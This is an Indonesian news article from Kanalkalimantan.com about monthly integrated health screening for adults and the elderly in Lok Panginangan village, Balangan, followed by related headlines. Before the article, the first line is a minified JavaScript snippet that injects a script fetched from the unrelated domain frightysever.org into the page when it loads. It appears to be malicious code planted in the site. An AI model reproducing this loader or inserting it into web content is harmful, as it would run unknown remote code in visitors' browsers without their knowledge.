(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PARINGIN – Pemerintah Desa (Pemdes) Lok Panginangan, Kecamatan Lampihong, Kabupaten Balangan hadirkan layanan kesehatan terpadu bagi warga melalui Pos Pembinaan Terpadu (Posbindu) Harapan dan Pos Pelayanan Terpadu untuk Usia Lanjut (Posyandu Usila) Abadi.
Kepala Desa Lok Panginangan, Jakiyah Yati, mengatakan, kegiatan ini merupakan program dari Kementerian Kesehatan bekerja sama dengan pemerintah daerah, Puskesmas, dan pemerintah desa yang rutin dilaksanakan setiap bulan.
“Awalnya program ini dari Kementerian Kesehatan, kemudian dilanjutkan bersama pemerintah daerah, Puskesmas, dan desa. Di desa kami, kegiatan ini digelar sebulan sekali,” kata Jakiyah, Kamis (17/7/2025).
Baca juga: DPRD Kotabaru Gelar Rapat Paripurna, Bahas RPJMD dan 4 Raperda Lainnya
Kegiatan ini melibatkan dua kelompok usia yakni usia 15–59 tahun untuk Posbindu dan usia 60 tahun ke atas untuk Posyandu Usila. Warga antusias mengikuti seluruh rangkaian pemeriksaan kesehatan yang dilakukan oleh tenaga medis dari Unit Palaksana Teknis Daerah (UPTD) Puskesmas Lampihong dan kader Posyandu setempat.
Pelayanan dimulai dari pembagian nomor antrean, pendaftaran, wawancara faktor risiko, pengukuran tinggi dan berat badan, lingkar perut, pemeriksaan tekanan darah, cek gula darah, kolesterol, asam urat hingga edukasi kesehatan kepada peserta.
Pelaksana Tugas (Plt) Kepala Puskesmas Lampihong, Linda Herbayanti, turut memberikan apresiasi atas partisipasi aktif warga dan keterampilan para kader di Desa Lok Panginangan.
“Posbindu di Desa Lok Panginangan ini sangat bagus karena partisipasi masyarakat luar biasa, dan kader-kadernya memiliki keterampilan yang sangat baik,” ungkapnya.
Pengelola Program Penyakit Tidak Menular (PTM) Puskesmas Lampihong, Sry Asmayanti menjelaskan kegiatan dilakukan secara terintegrasi dengan sistem lima meja. “Meja pertama untuk pendaftaran, kedua wawancara faktor risiko, ketiga pengukuran antropometri, keempat pemeriksaan kesehatan oleh kader dan petugas medis, dan kelima pencatatan serta edukasi. Dukungan dari kepala desa dan kemampuan kader di sini sangat baik,” tutur Sry Asmayanti. (Kanalkalimantan.com/mcbalangan)
Editor: kk
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More
This website uses cookies.